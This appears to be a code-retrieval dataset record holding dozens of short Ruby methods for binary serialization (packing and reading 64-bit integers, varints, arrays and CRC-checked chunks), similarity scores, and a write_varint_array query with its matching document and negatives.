"def read_uint64(position = nil)\n seek(position)\n data = read_and_advance(8)\n BinData::Uint64be.read(data).to_i\n end",
"def uint64()\n _uint64(\"uint64\")\n end",
"def uint64(val)\n raise ArgumentError, \"uint64() requires an Integer argument\" \\\n unless val.is_a?(Integer)\n raise RangeError, \"argument to uint64() must be in the range \" +\n \"0 <= arg <= 2**64-1\" \\\n unless val >= 0 && val <= 2**64-1\n\n # Output is big endian, so we can output the top and bottom 32 bits\n # independently, top first\n top = val >> 32\n bottom = val & (2**32 - 1)\n\n self.uint32(top).uint32(bottom)\n end",
"def get_i64\n hi, lo, @data = @data.unpack(\"NNa*\")\n self.underrun! unless hi and lo\n (hi << 32) | lo\n end",
"def write(io)\n io.write [@value].pack(format)\n end",
"def write_int(value) \n write_bytecode_to(INTEGER, @temp_bytecode)\n write_4B_to(value, @temp_bytecode)\n end",
"def i64u\n r = little? ? BinUtils.get_int64_le(@data, @pos) : BinUtils.get_int64_be(@data, @pos)\n @pos += 8\n r\n end",
"def i64\n next_bytes(8).unpack(\"q>\").first\n end",
"def int64()\n # Read an unsigned value, then convert it to signed\n val = _uint64(\"int64\")\n\n val >= 2**63 ? -(2**64 - val): val\n end",
"def read_ic_uint64\n name(\"ic_uint64\") do\n high = name(\"high\") { read_ic_uint32 }\n low = name(\"low\") { name(\"uint32\") { read_uint32 } }\n\n (high << 32) | low\n end\n end",
"def set_int(offset, value)\n @contents.pos = offset\n # convert the value to bytes\n @contents.write [value].pack('l')\n end",
"def write(io)\n io = BinData::IO.new(io) unless BinData::IO === io\n\n do_write(io)\n io.flush\n self\n end",
"def write_varint_string(string)\n if string.nil?\n write_varint(-1)\n else\n write_varint(string.bytesize)\n write(string)\n end\n end",
"def pack_int64le(val)\n [val & 0x00000000ffffffff, val >> 32].pack(\"V2\")\n end",
"def i64s\n little? ? BinUtils.get_sint64_le(read(8)) : BinUtils.get_sint64_be(read(8))\n end",
"def pack_int64_bigendian(value)\n (0..7).map { |index| (value >> (index * 8)) & 0xFF }.reverse.map(&:chr).join\n end",
"def write(handle, offset, data)\n send_request(FXP_WRITE, :string, handle, :int64, offset, :string, data)\n end",
"def write_int8(int)\n write([int].pack(\"C\"))\n end",
"def write_number number\n if number >= MIN_INTEGER && number <= MAX_INTEGER #check valid range for 29 bits\n write_integer number\n else #overflow to a double\n write_double number \n end\n end",
"def write(s)\n binary_to_store = Marshal.dump(s)\n bytes = @ioctx.write(@oid, binary_to_store, binary_to_store.size, @offset)\n # add an xattr :\n set_attribut(@@size_xattr, binary_to_store.size)\n \n @offset += bytes\n bytes\n end",
"def write_byte(*n); end",
"def write(io)\n wu32(io, MAGIC_NUMBER)\n wu16(io, VERSION_MAJOR)\n wu16(io, VERSION_MINOR)\n wi32(io, THIS_ZONE)\n wu32(io, sigfigs)\n wu32(io, snaplen)\n wu32(io, network)\n end",
"def i64s\n r = little? ? BinUtils.get_sint64_le(@data, @pos) : BinUtils.get_sint64_be(@data, @pos)\n @pos += 8\n r\n end",
"def write_int16(int)\n write([int].pack(\"s>\"))\n end",
"def write(file)\n value.each do |item|\n # always write int4 in network order (as per GDSII spec)\n file.write [item].pack('N')\n end\n end",
"def encode_and_write_int32(int, mode='file', byte_offset=@file_offset)\n\t\t# make sure 'byte' arrays are clear\n\t\t@byte1.clear\n\t\t@byte2.clear\n\t\t@byte3.clear\n\t\t@byte4.clear\n\t\t# convert int argument into binary, put in arrays\n\t\t31.downto(24) do |x| @byte1.push(int[x]) end\n\t\t23.downto(16) do |x| @byte2.push(int[x]) end\n\t\t15.downto(8) do |x| @byte3.push(int[x]) end\n\t\t7.downto(0) do |x| @byte4.push(int[x]) end\n\n\t\t# order the bytes in little-endian fashion (reverse order), join\n\t\tcorrect_endianness_binary = [@byte4, @byte3, @byte2, @byte1]\n\t\tif mode == 'file'\n\t\t\t# join and pack bytes\n\t\t\tbinary_to_write = [correct_endianness_binary.join].pack(\"B*\")\n\t\t\t# write binary to file with correct offset\n\t\t\tFile.write(@filename, binary_to_write, byte_offset)\n\t\t\t# increment offset for next method call\n\t\t\t@file_offset += 4\n\t\telsif mode == 'dataBlock'\n\t\t\t# push string into dataBlock_array\n\t\t\t@dataBlock_array.push(correct_endianness_binary.join)\n\t\tend\n\tend",
"def set_integer!(value)\n @objects = nil\n @memory = nil\n\n if value < 0\n self[:type] = :negative_integer\n self[:values][:i64] = value\n else\n self[:type] = :positive_integer\n self[:values][:u64] = value\n end\n end",
"def write(io)\n write_with_crc(io, content || '')\n end",
"def put_f64(arg)\n @data += [arg].pack(\"G\")\n self\n end",
"def write_number(numeric)\n\t\twrite_byte(0)\n\t\twrite_double(numeric)\n\tend",
"def write(val)\n @file.seek(@address)\n @file.putc(val)\n @file.flush\n end",
"def write(io)\n write_with_crc(io, content || \"\")\n end",
"def checksum64(io)\n Base64.encode64([checksum(io)].pack(\"H*\")).strip\n end",
"def binwrite(data, *args, **kwd); end",
"def read_imc_uint64\n name(\"imc_uint64\") do\n high = 0\n flag = peek { name(\"uint8_or_flag\") { read_uint8 } }\n\n if flag == 0xff\n # The high 32-bits are stored first as an ic_uint32.\n adjust(+1) # Skip the flag byte.\n high = name(\"high\") { read_ic_uint32 }\n flag = nil\n end\n\n # The low 32-bits are stored as an ic_uint32; pass the flag we already\n # read, so we don't have to read it again.\n low = name(\"low\") { read_ic_uint32(flag) }\n\n (high << 32) | low\n end\n end",
"def u64\n next_bytes(8).unpack(\"Q>\").first\n end",
"def write_varint_bytes(bytes)\n if bytes.nil?\n write_varint(-1)\n else\n write_varint(bytes.bytesize)\n write(bytes)\n end\n end",
"def set_foo64\n @foo64 = Foo64.find(params[:id])\n end",
"def encode_and_write_int16(int, mode='file')\n\t\t# make sure 'byte' arrays are clear\n\t\t@byte1.clear\n\t\t@byte2.clear\n\t\t# convert int argument into binary, put in arrays\n\t\t15.downto(8) do |x| @byte1.push(int[x]) end\n\t\t7.downto(0) do |x| @byte2.push(int[x]) end\n\n\t\t# order the bytes in little-endian fashion, join\n\t\tcorrect_endianness_binary = [@byte2, @byte1]\n\n\t\tif mode == 'file'\n\t\t\t# join and pack bytes\n\t\t\tbinary_to_write = [correct_endianness_binary.join].pack(\"B*\")\n\t\t\t# write binary to file with correct offset\n\t\t\tFile.write(@filename, binary_to_write, @file_offset)\n\t\t\t# increment offset for next method call\n\t\t\t@file_offset += 2\n\t\telsif mode == 'dataBlock'\n\t\t\t# push string into dataBlock_array\n\t\t\t@dataBlock_array.push(correct_endianness_binary.join)\n\t\tend\n\tend",
"def write_bytes(bytes)\n if bytes.nil?\n write_int32(-1)\n else\n write_int32(bytes.bytesize)\n write(bytes)\n end\n end",
"def write_with_crc(io, content)\n io << [content.length].pack('N') << type << content\n io << [Zlib.crc32(content, Zlib.crc32(type))].pack('N')\n end",
"def syswrite(p0) end",
"def syswrite(p0) end",
"def syswrite(p0) end",
"def write_with_crc(io, content)\n io << [content.length].pack(\"N\") << type << content\n io << [Zlib.crc32(content, Zlib.crc32(type))].pack(\"N\")\n end",
"def _uint64(typename)\n top = _uint32(typename)\n bottom = _uint32(typename)\n\n (top << 32) + bottom\n end",
"def put_int64_array(arr)\n put_int(arr.length)\n put_int64(*arr)\n self\n end",
"def write(var, val)\r\n begin\r\n @serial.write \"#{var} #{val}\\r\\n\"\r\n puts \"#{var} #{val}\"\r\n rescue StandardError => e\r\n # Ruby does not implement write timeouts, so this exception\r\n # probably will never be raised.\r\n puts \"Cannot write (#{e.to_s}). Aborting.\"\r\n self.close\r\n end\r\n end",
"def DLongFromInt64(arg0)\n ret = _invoke(1610744047, [arg0], [\"??? NOT SUPPORTED TYPE:`I8'\"])\n @lastargs = WIN32OLE::ARGV\n ret\n end",
"def write(d)\n @writer << d\n d.bytesize\n end",
"def set_64_bit_offset(is_64_bit)\n raise ArgumentError.new, 'The value can only be true or false' unless [true, false].include?(is_64_bit)\n parameter_block.word_count = is_64_bit ? 0x0E : 0x0C\n end",
"def write(s)\n do_write(s)\n s.bytesize\n end",
"def write!\n ensure_mode(:privileged)\n exec('write memory')\n end",
"def set_64_bit_offset(is_64_bit)\n raise ArgumentError.new, 'The value can only be true or false' unless [true, false].include?(is_64_bit)\n parameter_block.word_count = is_64_bit ? 0x0C : 0x0A\n end",
"def do_write(io)\n raise ArgumentError, \"io must be a BinData::IO\" unless BinData::IO === io\n\n if eval_param(:onlyif)\n _do_write(io)\n end\n end",
"def make_signed_int64(high, low); end",
"def encode64(bin)\n [bin].pack(\"m\")\n end",
"def encode64(bin)\n [bin].pack(\"m\")\n end",
"def put_i32(arg)\n @data += [arg].pack(\"N\")\n self\n end",
"def unbuffered_write(string)\n bytes_written = @io.write(string)\n @total_bytes_in += bytes_written\n bytes_written\n end",
"def write(bytes)\r\n end",
"def write(string)\n string.to_s.bytesize\n end",
"def to_i\n p = FFI::MemoryPointer.new(:int64)\n if CF.CFNumberGetValue(self, :kCFNumberSInt64Type, p) != 0\n p.get_int64 0\n else\n raise \"CF.CFNumberGetValue failed to convert #{self.inspect} to kCFNumberSInt64Type\"\n end\n end",
"def write(val)\n @writer.call(@address, val)\n end",
"def __bson_dump__(io, key)\n io << Types::MAX_KEY\n io << key.to_bson_cstring\n end",
"def record_write bytes\n @reader.record_write bytes, @state\n end",
"def to_bson(buffer = ByteBuffer.new)\n value = _bson_to_i * 1000 + usec.divmod(1000).first\n buffer.put_int64(value)\n end",
"def rlongint(bytes)\n res = i = 0\n bytes.times do\n res |= rbyte << i\n i += 8\n end\n res\n end",
"def write( socket, operation, arg = nil )\n socket.write( [ 42 ].pack( \"C\" ) ) # magic num\n socket.write( [ 137 ].pack( \"C\" ) ) # magic num\n socket.write( [ operation ].pack( \"C\" ) ) # op byte (0 | 1 | 2)\n if not arg.nil?\n socket.write( [ arg.length ].pack( \"L\" ) )\n socket.write( arg )\n end\nend",
"def write_buffer(io = T.unsafe(nil)); end",
"def _do_write(io)\n raise NotImplementedError\n end",
"def write(file)\n # write the length & header; always write length (int2) as network\n # order (as per GDSII spec)\n file.write [self.byte_size].pack('n')\n file.write [self.type].pack('c')\n file.write [self.data.type].pack('c')\n\n # now write the data...\n @data.write(file)\n end",
"def to_64(number, rounds)\n r = StringIO.new\n rounds.times do |x|\n r.print(SALT_CHARS[number % 64])\n number >>= 6\n end\n return r.string\n end",
"def to_64(number, rounds)\n r = StringIO.new\n rounds.times do |x|\n r.print(SALT_CHARS[number % 64])\n number >>= 6\n end\n return r.string\n end",
"def i64\n i64s\n end",
"def write(value)\n # pass\n end",
"def write(bits)\n @role.send(:packed=, bits, false)\n end",
"def strict_encode64(string)\n [string].pack('m0')\n end",
"def write_to_socket bytes\n socket.write_nonblock bytes\n rescue IO::WaitWritable\n :wait_writable\n end",
"def write_raw_short(val)\n buffer << [val].pack(\"S>\")\n end"
] |
[
"0.7757498",
"0.68079746",
"0.6679131",
"0.6667459",
"0.63482016",
"0.6277216",
"0.62628424",
"0.6244755",
"0.6167701",
"0.6150978",
"0.6141332",
"0.6095988",
"0.6059898",
"0.6049532",
"0.60115427",
"0.6002218",
"0.599803",
"0.59032845",
"0.5860196",
"0.5860196",
"0.58596677",
"0.5827682",
"0.5810321",
"0.5801843",
"0.5789278",
"0.57783127",
"0.5761919",
"0.56698674",
"0.5578327",
"0.55417067",
"0.5530482",
"0.5516948",
"0.5511687",
"0.5488457",
"0.5441103",
"0.5430092",
"0.5419774",
"0.54147255",
"0.5409708",
"0.53945106",
"0.5384476",
"0.5366974",
"0.5341065",
"0.5339069",
"0.53135973",
"0.52774394",
"0.5250205",
"0.5246238",
"0.5246147",
"0.52336663",
"0.5201713",
"0.51873535",
"0.5176133",
"0.5163701",
"0.5154885",
"0.5122217",
"0.51137877",
"0.5084145",
"0.50826913",
"0.5047811",
"0.5043187",
"0.50394475",
"0.50392455",
"0.50392455",
"0.503171",
"0.5030735",
"0.50259924",
"0.50158185",
"0.5007339",
"0.49972427",
"0.49677426",
"0.4959535",
"0.49297106",
"0.491906",
"0.49150053",
"0.4896686",
"0.48954427",
"0.48954427",
"0.48831",
"0.4869419",
"0.48633316",
"0.48587415",
"0.4857255",
"0.48534518",
"0.48432264",
"0.48378032",
"0.48309457",
"0.48189503",
"0.48156086",
"0.4814183",
"0.4812885",
"0.4808508",
"0.47951648",
"0.47951648",
"0.4781092",
"0.47806123",
"0.47768998",
"0.47713453",
"0.4764711",
"0.47626033"
] |
0.83039373
|
0
|
Writes an array to the IO object. Each item in the specified array will be yielded to the provided block; it's the responsibility of the block to write those items using the encoder.
|
def write_array(array, &block)
if array.nil?
# An array can be null, which is different from it being empty.
write_int32(-1)
else
write_int32(array.size)
array.each(&block)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def write_array(array)\n\t\twrite_byte(10)\n\t\twrite_word32_network(array.length)\n\t\tarray.each do |el| \n\t\t\twrite(el)\n\t\tend\n\tend",
"def write_varint_array(array, &block)\n if array.nil?\n write_varint(-1)\n else\n write_varint(array.size)\n array.each(&block)\n end\n end",
"def write(&block)\n @write_block = block\n end",
"def __write_array(ary, io)\n ary.each_with_index do |el, i|\n io.puts \"result__[#{i}] = #{el.subs(@dict)};\"\n end \n end",
"def _write filename, array\n File.open(filename, \"w\") do |file| \n array.each { |row| file.puts row }\n end\n end",
"def write(block)\n @filemgr.write(block, @contents)\n end",
"def MapArray input, output, processor=DEFAULT\n Save output,processor do |file|\n Load(input,processor).each { |o| yield(o).each { |x| file << x } }\n end\n end",
"def write_many(writer, items, options = nil)\n writer.push_array\n items.each do |item|\n write_one(writer, item, options)\n end\n writer.pop\n end",
"def pass_block(arr)\n yield arr\nend",
"def write_content(file_out)\n file_out.puts(@array)\n end",
"def write(io)\n @values.each {|el|\n el.write io\n }\n end",
"def each(&block)\n array.each(&block)\n end",
"def puts_array(array)\n array.each {|item| puts item}\n end",
"def each\n if block_given?\n @array.each do |e|\n yield e\n end\n end\n end",
"def each(&block)\n @array.each(&block)\n end",
"def each(&block)\n @array.each(&block)\n end",
"def writeArray(a,s)\n\tcontents=''\n\tfor i in 0...a.length\t\n\tcontents+=a[i]+\"\\n\"\n\tend\n\tFile.write(s,contents)\n\tend",
"def write options={}, &block\n return unless output\n data = []\n block.call(data) if block_given?\n text = {\n :data => data.map do |measurement|\n key, value = measurement\n { :key => key, :value => value }\n end\n }.merge(options).to_json\n\n begin\n output.puts(text)\n rescue Errno::ENXIO\n # FIFO's reader isn't alive...\n end\n end",
"def each(&block)\n @array.each(&block)\n end",
"def each_byte\n\t\t@array.each { |a| yield a }\n\tend",
"def write(data)\n raise CSVStream::InsufficientDataError unless data.is_a?(Array)\n\t \twrapper = data[0].is_a?(Array) ? data : [data]\n \t\twrapper.each {|r| write_row(r) }\n \tend",
"def write(value, options = {})\n # If an array is written it means a data value and an overlay have been supplied\n # in one go...\n if value.is_a?(Array) && !value.is_a?(BitCollection)\n overlay(value[1])\n value = value[0]\n end\n value = value.data if value.respond_to?('data')\n\n with_lsb0 do\n size.times do |i|\n self[i].write(value[i], options)\n end\n end\n self\n end",
"def batch(items)\n if items.is_a?(String)\n @file.write(\" #{items}\")\n else\n items.each { |item| @file.write(\" #{item}\") }\n end\n end",
"def writeOutput(outputFile,array)\n Write to file\n File.open(outputFile, 'w') { |file|\n file.write(array.join(\"\"))\n }\n end",
"def write_array_to_file\n lines = File.new('aperm.txt', 'w+')\n\n @@book_class.each_with_index do | book |\n lines.puts \"#{book.id}/#{book.title}/#{book.author}/#{book.due_date}\"end\n lines.close\n end",
"def write( x )\n Array( x ).each {|e| @head[-1] << e }\n end",
"def write(io, proc = nil)\t# :yields: track, num_tracks, index\n writer = @writer_class.new(self, block_given?() ? Proc.new() : proc)\n writer.write_to(io)\n end",
"def yield_with_each(array, &block)\n array.each { |i| yield i }\nend",
"def write(arr, file)\n File.open(file, 'w') do |f|\n (0..8).each do |row|\n f.puts arr[row * 9, 9].join \"\\t\"\n end\n end\n end",
"def write_array(key)\n write_comma\n increment\n indent\n write_key(key)\n write_colon\n end",
"def each(array)\n for elem in array do\n yield(elem)\n end\n\n array\nend",
"def write(io)\n each do |chunk|\n io << chunk\n end\n\n self\n end",
"def writeFile( arr, filename )\n f = File.new( filename, 'w' )\n f.binmode\n arr = words2bytes( arr )\n arr.each { |byte|\n f.write( byte.chr )\n }\n f.close \nend",
"def array(ary, &block)\n ary.map { |v| _recurse_(v, &block) }\n end",
"def write( &block )\n compile!( :write!, &block )\n end",
"def each(*args, &block)\n array.each(*args, &block)\n end",
"def write(xml, object)\n if definition.array?\n object.each do |item|\n write_entity(xml, item)\n end\n else\n write_entity(xml, object)\n end\n end",
"def flush\n @writes.each { |w| w._sync if w }\n @writes = ::Array.new(2 ** @bits)\n end",
"def write(file)\n value.each do |item|\n # always write int4 in network order (as per GDSII spec)\n file.write [item].pack('N')\n end\n end",
"def hello_t(array)\n i = 0\n\n while i < array.length\n yield(array[i])\n i = i + 1\n end\n\n array\nend",
"def each(&block)\r\n @arr.each &block\r\n end",
"def each(&block)\r\n @arr.each &block\r\n end",
"def yield_with_each(array, &block)\n array.each do |x|\n yield x\n end\n\nend",
"def write(*data); end",
"def save_file_array(input_obj_array)\n\tinput_obj_array.each {|each_obj| save_file(each_obj)}\nend",
"def mapa(array)\n i = 0\n oarray = []\n while i < array.size\n oarray << yield(array[i])\n i += 1\n end\n oarray\nend",
"def types(array)\n yield(array)\nend",
"def my_each(array)\n\t\t#array = []\n\t\tindex = 0\n\t\twhile index < array.length\n\t\t\tyield(array[index])\n\t\t\tindex += 1\n\t\tend\n\t\treturn array\n\tend",
"def each\n unless @array.empty?\n @array.size.times do |i|\n yield @array[i]\n end\n end\n end",
"def write(file)\n padded_str = self.pad\n if padded_str.length != 1\n raise RuntimeError, \"expect 'self' to be an array of one element\"\n end\n # The following line was modified to use the [0]. Before, no\n # index was used and the call to file.write() coerced the array\n # to a string. Under Ruby 1.8 this produced a string like:\n # \"aString\"\n # under 1.9 we go a string like:\n # \"[\\\\\"aString\\\\\"]\"\n\t\t# This, among other things, produced invalid library names.\n file.write padded_str[0]\n end",
"def write_file(file_name_out, content_array)\n\n\toutput = File.new(file_name_out, 'w')\n\tcontent_array.each { |line| output.write line }\n\toutput.close\nend",
"def assigner(array)\n yield(array)\nend",
"def hello_t(array)\n if block_given?\n i = 0\n \n while i < array.length\n yield(array[i])\n i = i + 1\n end\n \n array\n else\n puts \"Hey! No block was given!\"\n end\nend",
"def write(*args)\n args.each do |a|\n @serial.write a.chr\n end\n end",
"def write_nonblock\n end",
"def hello_t(array)\n if block_given?\n i = 0\n\n while i < array.length\n yield(array[i])\n i = i + 1\n end\n\n array\n else\n puts \"Hey! No block was given!\"\n end\nend",
"def map(array)\n new = []\n i = 0 \n while i < array.length\n # yield pass element of the array to the block. map{ block }\n new.push(yield(array[i]))\n i += 1 \n end\n new \nend",
"def write_file(file_name, content_array)\n\n\toutput = File.new(file_name, 'w')\n\tcontent_array.each { |line| output.write line }\n\toutput.close\nend",
"def hello(array)\n i = 0\n collection = []\n while i < array.length\n collection << yield(array[i])\n i += 1\n end\n collection\nend",
"def hello(array)\n i = 0\n collection = []\n while i < array.length\n collection << yield(array[i])\n i += 1\n end\n collection\nend",
"def hello(array)\n i = 0\n collection = []\n while i < array.length\n collection << yield(array[i])\n i += 1\n end\n collection\nend",
"def each\n @body.each do |block|\n yield @resource.send(@encoder, @resource.send(@charsetter, block.to_s))\n end\n end",
"def my_each(array)\n if block_given?\n counter = 0\n while counter < array.length\n yield (array[counter])\n counter += 1\n end\n array\n else\n puts \"No block given\"\n end\nend",
"def hello_t(array)\n if block_given?\n i = 0\n\n while i < array.length\n yield(array[i])\n i = i + 1\n end\n array\n else\n puts \"Hey! No block was given!\"\n end\nend",
"def my_each(array) # put argument(s) here\n i = 0\n\n while i < array.length\n yield array[i]\n i += 1\n end\n array\nend",
"def my_each(array)\n if block_given?\n i = 0\n \n while i < array.length \n yield array[i] \n i = i + 1 \n end\n \n array\n else\n return \"Hey! No block was given!\"\n end\nend",
"def work_input(input_arr)\n yield(input_arr)\nend",
"def output(data, stream_name = :stdout, &block)\n # Pass the output to the block\n if block.arity == 2\n args = [nil, nil]\n if stream_name == :stdout\n args[0] = data\n else\n args[1] = data\n end\n block.call(*args)\n else\n yield data if stream_name == :stdout\n end\n end",
"def write(data=nil, &block)\n mkdir_p dir\n open(fullpath, 'w') do |io|\n io.write data if data\n yield io if block_given?\n end\n end",
"def assignment(arr)\n yield(arr)\nend",
"def my_each(array)\n i = 0\n while i < array.length\n yield(array[i])\n array[i]\n i += 1\n end\n array\nend",
"def yield_with_each(array, &block)\n if array == []\n nil\n else\n array.each {|i| block.call(i)}\n end\nend",
"def map(array)\n new = []\n i = 0\n while i < array.length\n new.push(yield(array[i]))\n i += 1\n end\n new\nend",
"def my_each(array)\n if block_given?\n i = 0\n while i < array.length\n yield array[i]\n i = i + 1\n end\n array\n end\nend",
"def write( message )\n\t\t\t@array << message\n\t\tend",
"def write( message )\n\t\t\t@array << message\n\t\tend",
"def write( message )\n\t\t\t@array << message\n\t\tend",
"def array_looper(array)\n\tarray.each do |a|\n\t\tputs a\n\tend\nend",
"def my_collect(input_array)\n if block_given?\n counter = 0\n output = []\n while counter < input_array.size\n output << yield(input_array[counter])\n counter +=1\n end\n output\n end\n\n\n\n\nend",
"def nc_my_each(array, &block)\n array.length.times do |i|\n block.call(array[i])\n end\n array\nend",
"def output_array(array)\n counter = 0\n while counter < array.length do\n puts array\n counter += 1\n end\nend",
"def write_nonblock(data, *_); end",
"def writeBlock(pieceIndex, offset, block)\n regions = @pieceMapper.findBlock(pieceIndex, offset, block.length)\n indexInBlock = 0\n regions.each do |region|\n # Get the IO for the file with path 'path'. If we are being used in a reactor, this is the IO facade. If we\n # are not then this is a real IO.\n io = @ioManager.get(region.path)\n if ! io\n # No IO for this file. \n raise \"This process doesn't have write permission for the file #{region.path}\" if File.exists?(region.path) && ! File.writable?(region.path)\n\n # Ensure parent directories exist.\n dir = File.dirname region.path\n FileUtils.mkdir_p dir if ! File.directory?(dir)\n\n begin\n io = @ioManager.open(region.path)\n rescue\n @logger.error \"Opening file #{region.path} failed: #{$!}\"\n raise \"Opening file #{region.path} failed\"\n end\n end\n\n io.seek region.offset, IO::SEEK_SET\n begin\n io.write(block[indexInBlock, region.length])\n indexInBlock += region.length\n rescue\n # Error when writing...\n @logger.error \"Writing block to file #{region.path} failed: #{$!}\"\n piece = nil\n break\n end\n\n break if indexInBlock >= block.length\n end\n end",
"def save_as_JSON(array)\n final_array = array\n File.open(\"emails.json\", \"w\") do |town|\n town.write(final_array.to_json)\n end\n end",
"def print_array(array)\n (length(array)).times do |i|\n print array[i]\n end\n # raise NotImplementedError\nend",
"def custom_each(array)\n i = 0\n while i < array.length\n yield array[i]\n i += 1\n end\nend",
"def write(io)\n @values.each {|field|\n field.write io\n }\n end",
"def write(chunk)\n # dummy\n end",
"def output\n b = block.output\n self<< b\n b\n end",
"def each(&block)\n @buffer.each(&block)\n end",
"def print_array(array)\n\n array.length.times do |array_element|\n print \"#{array_element} \"\n end\n # raise NotImplementedError\nend",
"def each(array)\n counter = 0\n while counter < array.size do\n yield(array[counter])\n counter += 1\n end\n array\nend",
"def my_each(array)\n i = 0\n while i < array.length\n yield array[i]\n i += 1\n end\n array\nend",
"def serialize(serializer: ActiveModel::ArraySerializer, json_opts: {})\n fail 'Block required!' unless block_given?\n serializer.new(yield).as_json(json_opts)\n end",
"def iterate_items(items_array, &block)\n items_array.each do |item|\n items = item[:items] || item[\"items\"]\n items.is_a?(Array) ? iterate_items(items, &block) : yield(item)\n end\n end",
"def each\n @arr.each do |n|\n yield(n)\n end\n end",
"def write(data)\n ret = io.write data\n @receivers.each do |r|\n Fiber.new { r.call data }.resume\n end\n ret\n end",
"def write_array_to_file\n lines = File.new('members.txt', 'w')\n\n @@member_array.each_with_index do | member |\n lines.puts \"#{member.member_id}/#{member.member_name}/#{member.book_id_1}/#{member.book_id_2}/#{member.book_id_3}\"\n end\n lines.close\n end",
"def custom_each(array)\r\n i = 0 \r\n while i < array.length \r\n yield array[i]\r\n i += 1\r\n end\r\nend",
"def write_buffer(io = ::StringIO.new, encrypter: nil)\n io.binmode if io.respond_to?(:binmode)\n zos = new(io, stream: true, encrypter: encrypter)\n yield zos\n zos.close_buffer\n end"
] |
[
"0.6863102",
"0.6826727",
"0.6097435",
"0.6035484",
"0.58435345",
"0.5754701",
"0.57182705",
"0.5709481",
"0.5704442",
"0.5658664",
"0.56524307",
"0.5605451",
"0.5545483",
"0.5530539",
"0.5524677",
"0.5524677",
"0.54987806",
"0.545878",
"0.54545754",
"0.5447909",
"0.540853",
"0.5397097",
"0.538654",
"0.5359167",
"0.53579766",
"0.534029",
"0.53317255",
"0.5317746",
"0.5309569",
"0.52865523",
"0.5260512",
"0.5257085",
"0.52386147",
"0.5221033",
"0.521916",
"0.5213768",
"0.52072304",
"0.51959723",
"0.5186766",
"0.5179502",
"0.5152581",
"0.5152581",
"0.5140941",
"0.5128532",
"0.51226157",
"0.5104724",
"0.5080001",
"0.50798833",
"0.5079874",
"0.5077556",
"0.50668186",
"0.5064142",
"0.5054317",
"0.5051997",
"0.5044121",
"0.5041558",
"0.5030412",
"0.5027856",
"0.5022533",
"0.5022533",
"0.5022533",
"0.50148827",
"0.50123173",
"0.50108135",
"0.49925965",
"0.49854657",
"0.49786067",
"0.4968487",
"0.49582553",
"0.4955483",
"0.49550766",
"0.49497426",
"0.49312684",
"0.4929514",
"0.49285093",
"0.49285093",
"0.49285093",
"0.49223247",
"0.49157798",
"0.49130088",
"0.4906659",
"0.4904214",
"0.4897105",
"0.48923293",
"0.48889208",
"0.48888516",
"0.48877615",
"0.48833007",
"0.48800948",
"0.48800075",
"0.48687494",
"0.48677215",
"0.48641482",
"0.48611197",
"0.4846838",
"0.48453912",
"0.4843676",
"0.48342305",
"0.48289028",
"0.4828371"
] |
0.7923702
|
0
|
Writes an array to the IO object. Just like write_array, unless the size is under varint format
|
def write_varint_array(array, &block)
if array.nil?
write_varint(-1)
else
write_varint(array.size)
array.each(&block)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def write_array(array)\n\t\twrite_byte(10)\n\t\twrite_word32_network(array.length)\n\t\tarray.each do |el| \n\t\t\twrite(el)\n\t\tend\n\tend",
"def write_array(array, &block)\n if array.nil?\n # An array can be null, which is different from it being empty.\n write_int32(-1)\n else\n write_int32(array.size)\n array.each(&block)\n end\n end",
"def writeArray(a,s)\n\tcontents=''\n\tfor i in 0...a.length\t\n\tcontents+=a[i]+\"\\n\"\n\tend\n\tFile.write(s,contents)\n\tend",
"def _write filename, array\n File.open(filename, \"w\") do |file| \n array.each { |row| file.puts row }\n end\n end",
"def write(arr, file)\n File.open(file, 'w') do |f|\n (0..8).each do |row|\n f.puts arr[row * 9, 9].join \"\\t\"\n end\n end\n end",
"def writeOutput(outputFile,array)\n Write to file\n File.open(outputFile, 'w') { |file|\n file.write(array.join(\"\"))\n }\n end",
"def write(file)\n padded_str = self.pad\n if padded_str.length != 1\n raise RuntimeError, \"expect 'self' to be an array of one element\"\n end\n # The following line was modified to use the [0]. Before, no\n # index was used and the call to file.write() coerced the array\n # to a string. Under Ruby 1.8 this produced a string like:\n # \"aString\"\n # under 1.9 we go a string like:\n # \"[\\\\\"aString\\\\\"]\"\n\t\t# This, among other things, produced invalid library names.\n file.write padded_str[0]\n end",
"def __write_array(ary, io)\n ary.each_with_index do |el, i|\n io.puts \"result__[#{i}] = #{el.subs(@dict)};\"\n end \n end",
"def write_content(file_out)\n file_out.puts(@array)\n end",
"def writeFile( arr, filename )\n f = File.new( filename, 'w' )\n f.binmode\n arr = words2bytes( arr )\n arr.each { |byte|\n f.write( byte.chr )\n }\n f.close \nend",
"def write_array(key)\n write_comma\n increment\n indent\n write_key(key)\n write_colon\n end",
"def write_array_header(n)\n end",
"def write(value, options = {})\n # If an array is written it means a data value and an overlay have been supplied\n # in one go...\n if value.is_a?(Array) && !value.is_a?(BitCollection)\n overlay(value[1])\n value = value[0]\n end\n value = value.data if value.respond_to?('data')\n\n with_lsb0 do\n size.times do |i|\n self[i].write(value[i], options)\n end\n end\n self\n end",
"def save_array\n raise \"Cannot save array! Please use load_array to load\" if $valid_array == false\n\n File.open(@app_file_path, \"w\") do |file| \n # FIXME: use join with @app_delim\n @data.each { |row| file.puts \"#{row[0]}\\t#{row[1]}\" }\n end\n end",
"def save_array\n raise \"Cannot save array! Please use load_array to load\" if $valid_array == false\n\n File.open(@app_file_path, \"w\") do |file| \n #@data.each { |row| file.puts \"#{row[0]}\\t#{row[1]}\" }\n @data.each { |row| file.puts row.join(@app_delim) }\n end\n end",
"def put_int_array(arr)\n put_int arr.length, *arr\n self\n end",
"def write_array_to_file\n lines = File.new('aperm.txt', 'w+')\n\n @@book_class.each_with_index do | book |\n lines.puts \"#{book.id}/#{book.title}/#{book.author}/#{book.due_date}\"end\n lines.close\n end",
"def write_acct_file (acct_numbers_array, number_acct_fields)\r\n file_name = \"data/accounts\"\r\n output_file = File.open(file_name,\"w\")\r\n \r\n acct_numbers_array.each {|a| output_file.puts a}\r\n output_file.close\r\nend",
"def create_file(arr, filename)\n\tfile = File.open(filename, \"w\")\n\tfor number in arr\n\t\tfile.puts(number)\n\tend\nend",
"def write(*data); end",
"def write_file(file_name_out, content_array)\n\n\toutput = File.new(file_name_out, 'w')\n\tcontent_array.each { |line| output.write line }\n\toutput.close\nend",
"def write(io)\n @values.each {|el|\n el.write io\n }\n end",
